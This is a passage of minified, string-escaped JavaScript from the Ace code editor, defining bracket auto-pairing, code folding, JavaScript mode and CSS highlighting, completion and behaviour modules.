u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/css_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={background:{\"#$0\":1},\"background-color\":{\"#$0\":1,transparent:1,fixed:1},\"background-image\":{\"url('/$0')\":1},\"background-repeat\":{repeat:1,\"repeat-x\":1,\"repeat-y\":1,\"no-repeat\":1,inherit:1},\"background-position\":{bottom:2,center:2,left:2,right:2,top:2,inherit:2},\"background-attachment\":{scroll:1,fixed:1},\"background-size\":{cover:1,contain:1},\"background-clip\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},\"background-origin\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},border:{\"solid $0\":1,\"dashed $0\":1,\"dotted $0\":1,\"#$0\":1},\"border-color\":{\"#$0\":1},\"border-style\":{solid:2,dashed:2,dotted:2,\"double\":2,groove:2,hidden:2,inherit:2,inset:2,none:2,outset:2,ridged:2},\"border-collapse\":{collapse:1,separate:1},bottom:{px:1,em:1,\"%\":1},clear:{left:1,right:1,both:1,none:1},color:{\"#$0\":1,\"rgb(#$00,0,0)\":1},cursor:{\"default\":1,pointer:1,move:1,text:1,wait:1,help:1,progress:1,\"n-resize\":1,\"ne-resize\":1,\"e-resize\":1,\"se-resize\":1,\"s-resize\":1,\"sw-resize\":1,\"w-resize\":1,\"nw-resize\":1},display:{none:1,block:1,inline:1,\"inline-block\":1,\"table-cell\":1},\"empty-cells\":{show:1,hide:1},\"float\":{left:1,right:1,none:1},\"font-family\":{Arial:2,\"Comic Sans MS\":2,Consolas:2,\"Courier New\":2,Courier:2,Georgia:2,Monospace:2,\"Sans-Serif\":2,\"Segoe UI\":2,Tahoma:2,\"Times New Roman\":2,\"Trebuchet MS\":2,Verdana:1},\"font-size\":{px:1,em:1,\"%\":1},\"font-weight\":{bold:1,normal:1},\"font-style\":{italic:1,normal:1},\"font-variant\":{normal:1,\"small-caps\":1},height:{px:1,em:1,\"%\":1},left:{px:1,em:1,\"%\":1},\"letter-spacing\":{normal:1},\"line-height\":{normal:1},\"list-style-type\":{none:1,disc:1,circle:1,square:1,decimal:1,\"decimal-leading-zero\":1,\"lower-roman\":1,\"upper-roman\":1,\"lower-greek\":1,\"lower-latin\":1,\"upper-latin\":1,georgian:1,\"lower-alpha\":1,\"upper-alpha\":1},margin:{px:1,em:1,\"%\":1},\"margin-right\":{px:1,em:1,\"%\":1},\"margin-left\":{px:1,em:1,\"%\":1},\"margin-top\":{px:1,em:1,\"%\":1},\"margin-bottom\":{px:1,em:1,\"%\":1},\"max-height\":{px:1,em:1,\"%\":1},\"max-width\":{px:1,em:1,\"%\":1},\"min-height\":{px:1,em:1,\"%\":1},\"min-width\":{px:1,em:1,\"%\":1},overflow:{hidden:1,visible:1,auto:1,scroll:1},\"overflow-x\":{hidden:1,visible:1,auto:1,scroll:1},\"overflow-y\":{hidden:1,visible:1,auto:1,scroll:1},padding:{px:1,em:1,\"%\":1},\"padding-top\":{px:1,em:1,\"%\":1},\"padding-right\":{px:1,em:1,\"%\":1},\"padding-bottom\":{px:1,em:1,\"%\":1},\"padding-left\":{px:1,em:1,\"%\":1},\"page-break-after\":{auto:1,always:1,avoid:1,left:1,right:1},\"page-break-before\":{auto:1,always:1,avoid:1,left:1,right:1},position:{absolute:1,relative:1,fixed:1,\"static\":1},right:{px:1,em:1,\"%\":1},\"table-layout\":{fixed:1,auto:1},\"text-decoration\":{none:1,underline:1,\"line-through\":1,blink:1},\"text-align\":{left:1,right:1,center:1,justify:1},\"text-transform\":{capitalize:1,uppercase:1,lowercase:1,none:1},top:{px:1,em:1,\"%\":1},\"vertical-align\":{top:1,bottom:1},visibility:{hidden:1,visible:1},\"white-space\":{nowrap:1,normal:1,pre:1,\"pre-line\":1,\"pre-wrap\":1},width:{px:1,em:1,\"%\":1},\"word-spacing\":{normal:1},filter:{\"alpha(opacity=$0100)\":1},\"text-shadow\":{\"$02px 2px 2px #777\":1},\"text-overflow\":{\"ellipsis-word\":1,clip:1,ellipsis:1},\"-moz-border-radius\":1,\"-moz-border-radius-topright\":1,\"-moz-border-radius-bottomright\":1,\"-moz-border-radius-topleft\":1,\"-moz-border-radius-bottomleft\":1,\"-webkit-border-radius\":1,\"-webkit-border-top-right-radius\":1,\"-webkit-border-top-left-radius\":1,\"-webkit-border-bottom-right-radius\":1,\"-webkit-border-bottom-left-radius\":1,\"-moz-box-shadow\":1,\"-webkit-box-shadow\":1,transform:{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-moz-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-webkit-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1}},i=function(){};(function(){this.completionsDefined=!1,this.defineCompletions=function(){if(document){var e=document.createElement(\"c\").style;for(var t in e){if(typeof e[t]!=\"string\")continue;var n=t.replace(/[A-Z]/g,function(e){return\"-\"+e.toLowerCase()});r.hasOwnProperty(n)||(r[n]=1)}}this.completionsDefined=!0},this.getCompletions=function(e,t,n,r){this.completionsDefined||this.defineCompletions();var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(e===\"ruleset\"){var s=t.getLine(n.row).substr(0,n.column);return/:[^;]+$/.test(s)?(/([\\w\\-]+):[^:]*$/.test(s),this.getPropertyValueCompletions(e,t,n,r)):this.getPropertyCompletions(e,t,n,r)}return[]},this.getPropertyCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\": $0\",meta:\"property\",score:Number.MAX_VALUE}})},this.getPropertyValueCompletions=function(e,t,n,i){var s=t.getLine(n.row).substr(0,n.column),o=(/([\\w\\-]+):[^:]*$/.exec(s)||{})[1];if(!o)return[];var u=[];return o in r&&typeof r[o]==\"object\"&&(u=Object.keys(r[o])),u.map(function(e){return{caption:e,snippet:e,meta:\"property value\",score:Number.MAX_VALUE}})}}).call(i.prototype),t.CssCompletions=i}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/css_completions\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./css_completions\").CssCompletions,f=e(\"./behaviour/css\").CssBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.$completer=new a,this.foldingRules=new l};r.inherits(c,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return 